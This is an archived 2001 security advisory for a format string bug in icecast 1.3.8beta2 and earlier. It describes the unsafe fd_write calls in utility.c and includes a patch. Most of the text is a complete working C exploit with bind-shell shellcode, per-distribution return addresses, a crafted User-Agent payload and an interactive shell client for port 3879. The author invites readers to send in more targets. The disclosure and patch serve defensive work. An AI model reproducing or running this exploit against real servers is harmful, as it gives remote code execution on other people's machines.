pkc004.txt

2001-02-02T00:00:00
ID PACKETSTORM:24212
Type packetstorm
Reporter Cyrax
Modified 2001-02-02T00:00:00

Description

                                        
                                            `/* pkc004.txt */  
  
-=[ SECURITY ADVISORY #004 ]=-  
  
_____________ _______  
| \ [www.pkcrew.org] / \  
\ | ______ / ___ \  
| | |_ _| ___ | / \___|  
| | | | / _| | |   
| _______/ | | / / | |  
| / | _ < | | ___  
| | [PkC] | | \ \ | \_____/ |  
_| |_ _| |_ \ \_ \ |  
|_______| |______| |____| \__________/  
  
[ Packet Knights Crew ]  
  
-=[ SECURITY ADVISORY #004 ]=-  
  
  
  
- Vulnerable program: icecast 1.3.8beta2 and prior   
- Tested on: Linux/ix86 - icecast 1.3.7 (Slackware 7.0 - RedHat 7.0)  
  
- Advisory author: |CyRaX| <cyrax@pkcrew.org>  
- Group: Packet Knights (http://www.pkcrew.org/)  
  
- Date of release: 01/22/2000  
  
- Problems: Format bugs  
  
- Impact: Remote vulnerablity allows to execute arbitrary code with  
the UID/GID of the user running icecast.  
  
- Risk level: HIGH  
  
- Exploit: Exploit for icecast 1.3.7 compiled on Slackware 7.0 and  
RedHat 7.0 attached  
  
- Dedicated to : my right hand  
  
- Greetings: all the bros of pkcrew expecially recidjvo, asynchro,  
cthulhu and fake  
all my friends of ircnet and suidnet exp. mav, mr^moon,   
smav, nobody88 ecc. ecc.  
  
- Summary:  
Icecast is a server for mp3 streaming. In file utils.c the  
function fd_write is often used putting the string instead of  
the format.  
- Details:  
  
Function print_client() in utility.c:  
  
  
void  
print_client(void *data, void *param)  
{  
[..]  
sprintf (buf, "Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",  
con->id, con_host (con), nice_time (get_time () - con->connect_time,timebuf), client->write_bytes, client_errors (client),   
get_user_agent (con), client->type == listener_e ? "listener" : "relay");  
  
if (!param)  
fd_write(info.statsfile, buf); <- BUGGED   
else  
sock_write (*sock, "%s", buf);  
}  
  
- Solution: Authors were contacted but they did'nt answered.  
  
I include here a patch for icecast-1.3.7/src/utility.c.  
This is just a temporary solution.  
  
  
---utility.c.diff---  
  
164c164  
< fd_write (info.statsfile,   
---  
> fd_write (info.statsfile,"%s",   
201c201  
< fd_write (info.statsfile, buf);  
---  
> fd_write (info.statsfile,"%s", buf);  
226c226  
< fd_write (info.statsfile, buf);  
---  
> fd_write (info.statsfile,"%s", buf);  
260c260  
< fd_write (info.statsfile, buf);  
---  
> fd_write (info.statsfile,"%s", buf);  
270c270  
< fd_write (info.statsfile, buf);  
---  
> fd_write (info.statsfile, "%s",buf);  
328c328  
< sprintf (buf, "Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",  
---  
> snprintf (buf, BUFSIZE,"Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",  
333c333  
< fd_write(info.statsfile, buf);  
---  
> fd_write(info.statsfile, "%s",buf);  
  
--- END OF utility.c.diff ---  
  
just do a : patch utility.c utility.c.diff  
  
- exploitation: Well.. exploitation is not too simple. You cannot  
directly see the output of the fd_write. You have to eat more than  
2000 %x of stack to reach the format string. Anyway.. I coded an  
exploit that worked on my slackware 7.0 and redhat 7.0 . If you  
add targets you can send them to me at cyrax@pkcrew.org .  
Cause icecast is a multithread server, it can give you problem on  
the port where we bind the shell. It sometimes write you the output  
of the admin console or other strange things. If a commands you do  
is not executed try to rewrite it some times. To resolve this problem  
you may want to change the shellcode to a add-user one.  
  
  
--- PKCicecast-ex.c ---  
  
/* Exploits format string vulnerability in icecast 1.3.7  
* Coded by |CyRaX| <cyrax@pkcrew.org>  
* Packet Knights Crew http://www.pkcrew.org/  
*   
*/  
  
  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <signal.h>  
#include <netinet/in.h>  
  
char code[]=  
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"  
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"  
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"  
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"  
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"  
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"  
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"  
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";  
  
unsigned long ip;  
void try_it();  
  
struct target{  
char *name;  
char *addr1;  
char *addr2;  
char *addr3;  
char *addr4;  
u_short one;  
u_short two;  
u_short three;  
u_short xx;  
u_short pad;  
  
};  
  
  
  
int main(int argc,char **argv){  
int s,i,sel;  
struct sockaddr_in sk;  
char sndbuff[9000],xx[9000],one[300],two[300],three[300],nop[1000],pad[100];  
struct target tl[]={  
{  
"icecast-1.3.7.tar.gz compiled on Slackware 7.0",  
"\x1c\xdb\x5f\xbf",  
"\x1d\xdb\x5f\xbf",  
"\x1e\xdb\x5f\xbf",  
"\x1f\xdb\x5f\xbf",  
123,  
136,  
96,  
2076,  
5  
},  
{  
"icecast-1.3.7.tar.gz compiled on Redhat 7.0",  
"\xd8\xd8\x5f\xbf",  
"\xd9\xd8\x5f\xbf",  
"\xda\xd8\x5f\xbf",  
"\xdb\xd8\x5f\xbf",  
116,  
159,  
96,  
2074,  
3  
}  
};  
  
printf("Icecast 1.3.7 format bug exploit by |CyRaX| <cyrax@pkcrew.org\n");  
printf("Packet Knights Crew | http://www.pkcrew.org/\n");  
  
if(argc<4){  
printf("Usage : ./PKCicecast-ex <target> <port> <type>\n");  
printf("types are :\n");  
for(i=0;i<(sizeof(tl)/sizeof(struct target));i++){  
printf("%2i : %s\n",i,tl[i].name);  
}  
exit(0);  
}  
  
sel=atoi(argv[3]);  
memset(sndbuff,0,9000);   
memset(xx,0,9000);  
memset(one,0,300);  
memset(two,0,300);  
memset(three,0,300);  
memset(pad,0,100);  
memset(nop,'\x90',1000);  
nop[1000]=0;  
  
s=socket(AF_INET,SOCK_STREAM,0);  
  
ip=inet_addr(argv[1]);  
sk.sin_addr.s_addr=ip;  
sk.sin_port=htons(atoi(argv[2]));  
sk.sin_family=AF_INET;  
connect(s,(struct sockaddr *)&sk,sizeof(sk));  
strcpy(sndbuff,"GET / HTTP/1.0\n");  
send(s,sndbuff,strlen(sndbuff),0);  
  
for(i=0;i<=(tl[sel].xx*3);i+=3){  
memcpy(xx+i,"%8x",3);  
}  
memset(one,'\x90',tl[sel].one);  
memset(two,'\x90',tl[sel].two);  
memset(three,'\x90',tl[sel].three);  
memcpy(one+strlen(one)-2,"\xeb\x02",2);  
memcpy(two+strlen(two)-2,"\xeb\x02",2);  
memcpy(three+strlen(three)-2,"\xeb\x02",2);  
memset(pad,'X',tl[sel].pad);  
sprintf(sndbuff,"User-agent: %s"  
"%s"  
"%s"  
"%s"  
"%s"  
"%s" /* the %8x */  
"%%n"  
"%s%%n"  
"%s%%n"  
"%s%%n"  
"%s"  
"%s\n\n"   
,pad,tl[sel].addr1,tl[sel].addr2,tl[sel].addr3,tl[sel].addr4,  
xx,one,two,three,nop,code);  
send(s,sndbuff,strlen(sndbuff),0);  
printf("We must sleep for 120 seconds. Waiting for icecast to do the statistic\n");  
alarm(120);  
signal(SIGALRM,try_it);  
while(1)recv(s,sndbuff,9000,0);  
}  
  
void try_it(){  
struct sockaddr_in sk;  
int s;  
char buff[1000];  
fd_set fs;  
  
printf("trying!\n");  
sk.sin_addr.s_addr=ip;  
sk.sin_port=htons(3879);  
sk.sin_family=AF_INET;  
s=socket(AF_INET,SOCK_STREAM,0);  
if(connect(s,(struct sock_addr*)&sk,sizeof(sk))==-1){  
printf("sorry.. it did'nt worked\n");  
exit(0);  
}  
strcpy(buff,"uname -a;id\n");  
send(s,buff,strlen(buff),0);  
while(1){  
memset(buff,0,1000);  
FD_ZERO(&fs);  
FD_SET(0,&fs);  
FD_SET(s,&fs);  
select(s+1,&fs,NULL,NULL,NULL);  
if(FD_ISSET(0,&fs)){  
fgets(buff,1000,stdin);  
send(s,buff,strlen(buff),0);  
}  
if(FD_ISSET(s,&fs)){  
recv(s,buff,1000,0);  
printf("%s",buff);  
}  
}  
  
}  
`